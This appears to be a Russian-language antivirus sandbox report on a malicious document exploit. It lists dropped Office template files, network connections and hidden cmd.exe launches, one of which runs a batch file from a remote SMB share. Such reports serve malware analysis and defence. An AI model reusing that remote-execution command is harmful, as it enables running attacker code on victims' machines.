Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' /c echo off
- '%WINDIR%\syswow64\cmd.exe' /c "\\18#.#13.208.245\bypass\runOnce.bat"
- '%WINDIR%\syswow64\cmd.exe' /c exit
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\tcd1c66.tmp\equations.dotx
- %TEMP%\tcd2c26.tmp\content.inf
- %TEMP%\tcd2bb7.tmp\wood_type.thmx
- %TEMP%\tcd2bb7.tmp\content.inf
- %TEMP%\tcd2a3e.tmp\view.thmx
- %TEMP%\tcd2a3e.tmp\content.inf
- %TEMP%\tcd28e4.tmp\content.inf
- %TEMP%\tcd28e4.tmp\element design set.dotx
- %TEMP%\tcd2807.tmp\content.inf
- %TEMP%\tcd2807.tmp\harvardanglia2008officeonline.xsl
- %TEMP%\tcd24ad.tmp\content.inf
- %TEMP%\tcd267e.tmp\content.inf
- %TEMP%\tcd2620.tmp\content.inf
- %TEMP%\tcd2620.tmp\rings.glox
- %TEMP%\tcd25fe.tmp\content.inf
- %TEMP%\tcd25fe.tmp\themepicturegrid.glox
- %TEMP%\tcd258e.tmp\content.inf
- %TEMP%\tcd258e.tmp\varyingwidthlist.glox
- %TEMP%\tcd256e.tmp\content.inf
- %TEMP%\tcd256e.tmp\chevronaccent.glox
- %TEMP%\tcd252d.tmp\content.inf
- %TEMP%\tcd267e.tmp\tablist.glox
- %TEMP%\tcd252d.tmp\themepicturealternatingaccent.glox
- %TEMP%\tcd2c26.tmp\metropolitan.thmx
- %TEMP%\tcd36f2.tmp\droplet.thmx
- %TEMP%\tcd3b60.tmp\gallery.thmx
- %TEMP%\tcd3b60.tmp\content.inf
- %TEMP%\tcd3b01.tmp\savon.thmx
- %TEMP%\tcd3b01.tmp\content.inf
- %TEMP%\tcd3ae1.tmp\dividend.thmx
- %TEMP%\tcd3ae1.tmp\content.inf
- %TEMP%\tcd38cc.tmp\parallax.thmx
- %TEMP%\tcd38cc.tmp\content.inf
- %TEMP%\tcd383e.tmp\content.inf
- %TEMP%\tcd3000.tmp\content.inf
- %TEMP%\tcd3000.tmp\basis.thmx
- %TEMP%\tcd36f2.tmp\content.inf
- %TEMP%\tcd3606.tmp\content.inf
- %TEMP%\tcd3606.tmp\berlin.thmx
- %TEMP%\tcd35c6.tmp\parcel.thmx
- %TEMP%\tcd35c6.tmp\content.inf
- %TEMP%\tcd34ea.tmp\frame.thmx
- %TEMP%\tcd34ea.tmp\content.inf
- %TEMP%\tcd32c3.tmp\quotable.thmx
- %TEMP%\tcd32c3.tmp\content.inf
- %TEMP%\tcd383e.tmp\circuit.thmx
- %TEMP%\tcd24ad.tmp\themepictureaccent.glox
- %TEMP%\tcd248d.tmp\content.inf
- %TEMP%\tcd248d.tmp\interconnectedblockprocess.glox
- %TEMP%\tcd1ed3.tmp\content.inf
- %TEMP%\tcd1ed3.tmp\chicago.xsl
- %TEMP%\tcd1ec2.tmp\content.inf
- %TEMP%\tcd1ec2.tmp\iso690nmerical.xsl
- %TEMP%\tcd1eb1.tmp\content.inf
- %TEMP%\tcd1eb1.tmp\ieee2006officeonline.xsl
- %TEMP%\tcd1e81.tmp\content.inf
- %TEMP%\tcd1e81.tmp\mlaseventheditionofficeonline.xsl
- %TEMP%\tcd1fb1.tmp\content.inf
- %TEMP%\tcd1dc1.tmp\content.inf
- %TEMP%\tcd1bf7.tmp\content.inf
- %TEMP%\tcd1bf6.tmp\content.inf
- %TEMP%\tcd1bf6.tmp\text sidebar (annual report red and black design).docx
- %TEMP%\tcd1bf7.tmp\gb.xsl
- %TEMP%\tcd1be5.tmp\content.inf
- %TEMP%\tcd1c86.tmp\content.inf
- %TEMP%\tcd1be5.tmp\apasixtheditionofficeonline.xsl
- %TEMP%\tcd1c86.tmp\gostname.xsl
- %TEMP%\tcd1c66.tmp\content.inf
- %TEMP%\tcd1dc1.tmp\gosttitle.xsl
- %TEMP%\tcd1fb0.tmp\iso690.xsl
- %TEMP%\tcd1fb1.tmp\turabian.xsl
- %TEMP%\tcd1fb0.tmp\content.inf
- %TEMP%\tcd245d.tmp\content.inf
- %TEMP%\tcd22fa.tmp\content.inf
- %TEMP%\tcd245d.tmp\radialpicturelist.glox
- %TEMP%\tcd244d.tmp\content.inf
- %TEMP%\tcd244d.tmp\pictureorgchart.glox
- %TEMP%\tcd241d.tmp\content.inf
- %TEMP%\tcd241d.tmp\tabbedarc.glox
- %TEMP%\tcd237a.tmp\content.inf
- %TEMP%\tcd237a.tmp\pictureframe.glox
- %TEMP%\tcd232a.tmp\content.inf
- %TEMP%\tcd232a.tmp\hexagonradial.glox
- %TEMP%\tcd22fa.tmp\convergingtext.glox
- %TEMP%\tcd20de.tmp\sist02.xsl
- %TEMP%\tcd21fd.tmp\content.inf
- %TEMP%\tcd21fd.tmp\circleprocess.glox
- %TEMP%\tcd21ae.tmp\content.inf
- %TEMP%\tcd21ae.tmp\banded.thmx
- %TEMP%\tcd218e.tmp\content.inf
- %TEMP%\tcd218e.tmp\architecture.glox
- %TEMP%\tcd212e.tmp\content.inf
- %TEMP%\tcd212e.tmp\bracketlist.glox
- %TEMP%\tcd20de.tmp\content.inf
- %TEMP%\tcd3b80.tmp\content.inf
- %TEMP%\tcd3b80.tmp\main_event.thmx
Перемещает следующие файлы
- %TEMP%\tcd1c66.tmp\equations.dotx в %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm01840907[[fn=equations]].dotx
- %TEMP%\tcd258e.tmp\varyingwidthlist.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328990[[fn=varying width list]].glox
- %TEMP%\tcd25fe.tmp\themepicturegrid.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328986[[fn=theme picture grid]].glox
- %TEMP%\tcd2620.tmp\rings.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328998[[fn=rings]].glox
- %TEMP%\tcd267e.tmp\tablist.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328972[[fn=tab list]].glox
- %TEMP%\tcd2807.tmp\harvardanglia2008officeonline.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851221[[fn=harvardanglia2008officeonline]].xsl
- %TEMP%\tcd28e4.tmp\element design set.dotx в %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm03998158[[fn=element]].dotx
- %TEMP%\tcd2a3e.tmp\view.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457515[[fn=view]].thmx
- %TEMP%\tcd2bb7.tmp\wood_type.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090434[[fn=wood type]].thmx
- %TEMP%\tcd252d.tmp\themepicturealternatingaccent.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328983[[fn=theme picture alternating accent]].glox
- %TEMP%\tcd256e.tmp\chevronaccent.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328905[[fn=chevron accent]].glox
- %TEMP%\tcd2c26.tmp\metropolitan.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457491[[fn=metropolitan]].thmx
- %TEMP%\tcd34ea.tmp\frame.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457475[[fn=frame]].thmx
- %TEMP%\tcd35c6.tmp\parcel.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001115[[fn=parcel]].thmx
- %TEMP%\tcd3606.tmp\berlin.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033917[[fn=berlin]].thmx
- %TEMP%\tcd36f2.tmp\droplet.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033925[[fn=droplet]].thmx
- %TEMP%\tcd383e.tmp\circuit.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033919[[fn=circuit]].thmx
- %TEMP%\tcd38cc.tmp\parallax.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457496[[fn=parallax]].thmx
- %TEMP%\tcd3ae1.tmp\dividend.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457464[[fn=dividend]].thmx
- %TEMP%\tcd3b01.tmp\savon.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457510[[fn=savon]].thmx
- %TEMP%\tcd3000.tmp\basis.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457444[[fn=basis]].thmx
- %TEMP%\tcd32c3.tmp\quotable.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03457503[[fn=quotable]].thmx
- %TEMP%\tcd24ad.tmp\themepictureaccent.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328975[[fn=theme picture accent]].glox
- %TEMP%\tcd248d.tmp\interconnectedblockprocess.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328925[[fn=interconnected block process]].glox
- %TEMP%\tcd245d.tmp\radialpicturelist.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328940[[fn=radial picture list]].glox
- %TEMP%\tcd1be5.tmp\apasixtheditionofficeonline.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851216[[fn=apasixtheditionofficeonline]].xsl
- %TEMP%\tcd1bf6.tmp\text sidebar (annual report red and black design).docx в %APPDATA%\microsoft\templates\livecontent\16\managed\word document building blocks\1033\tm02835233[[fn=text sidebar (annual report red and black design)]].docx
- %TEMP%\tcd1bf7.tmp\gb.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851218[[fn=gb]].xsl
- %TEMP%\tcd1dc1.tmp\gosttitle.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851220[[fn=gosttitle]].xsl
- %TEMP%\tcd1e81.tmp\mlaseventheditionofficeonline.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851225[[fn=mlaseventheditionofficeonline]].xsl
- %TEMP%\tcd1eb1.tmp\ieee2006officeonline.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851222[[fn=ieee2006officeonline]].xsl
- %TEMP%\tcd1ec2.tmp\iso690nmerical.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851224[[fn=iso690nmerical]].xsl
- %TEMP%\tcd1ed3.tmp\chicago.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851217[[fn=chicago]].xsl
- %TEMP%\tcd1fb1.tmp\turabian.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851226[[fn=turabian]].xsl
- %TEMP%\tcd1c86.tmp\gostname.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851219[[fn=gostname]].xsl
- %TEMP%\tcd1fb0.tmp\iso690.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851223[[fn=iso690]].xsl
- %TEMP%\tcd212e.tmp\bracketlist.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328893[[fn=bracketlist]].glox
- %TEMP%\tcd218e.tmp\architecture.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328884[[fn=architecture]].glox
- %TEMP%\tcd21ae.tmp\banded.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm03090430[[fn=banded]].thmx
- %TEMP%\tcd21fd.tmp\circleprocess.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328908[[fn=circle process]].glox
- %TEMP%\tcd22fa.tmp\convergingtext.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328916[[fn=converging text]].glox
- %TEMP%\tcd232a.tmp\hexagonradial.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328919[[fn=hexagon radial]].glox
- %TEMP%\tcd237a.tmp\pictureframe.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328932[[fn=picture frame]].glox
- %TEMP%\tcd241d.tmp\tabbedarc.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328951[[fn=tabbed arc]].glox
- %TEMP%\tcd244d.tmp\pictureorgchart.glox в %APPDATA%\microsoft\templates\livecontent\16\managed\smartart graphics\1033\tm03328935[[fn=picture organization chart]].glox
- %TEMP%\tcd20de.tmp\sist02.xsl в %APPDATA%\microsoft\templates\livecontent\16\managed\word document bibliography styles\tm02851227[[fn=sist02]].xsl
- %TEMP%\tcd3b60.tmp\gallery.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm10001114[[fn=gallery]].thmx
- %TEMP%\tcd3b80.tmp\main_event.thmx в %APPDATA%\microsoft\templates\livecontent\16\managed\document themes\1033\tm04033927[[fn=main event]].thmx
Сетевая активность
Подключается к
- 'oc##.#ectigo.com':80
- '18#.#13.208.245':445
- 'me######.#emplates.cdn.office.net':443
- 'bi######.#emplates.cdn.office.net':443
TCP
Запросы HTTP GET
- http://oc##.#ectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBQh80WaEMqmyEvaHjlisSfVM4p8SAQUF9nWJSdn%2BTHCSUPZMDZEjGypT%2BsCEQD2ALUnVHeoECVAjyR9%2Bn5T
Другие
- '18#.#13.208.245':445
- 'me######.#emplates.cdn.office.net':443
- 'bi######.#emplates.cdn.office.net':443
UDP
- DNS ASK oc##.#ectigo.com
- DNS ASK me######.#emplates.cdn.office.net
- DNS ASK bi######.#emplates.cdn.office.net
Другое
Ищет следующие окна
- ClassName: 'OleMainThreadWndClass' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c echo off' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c "\\18#.#13.208.245\bypass\runOnce.bat"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c exit' (со скрытым окном)
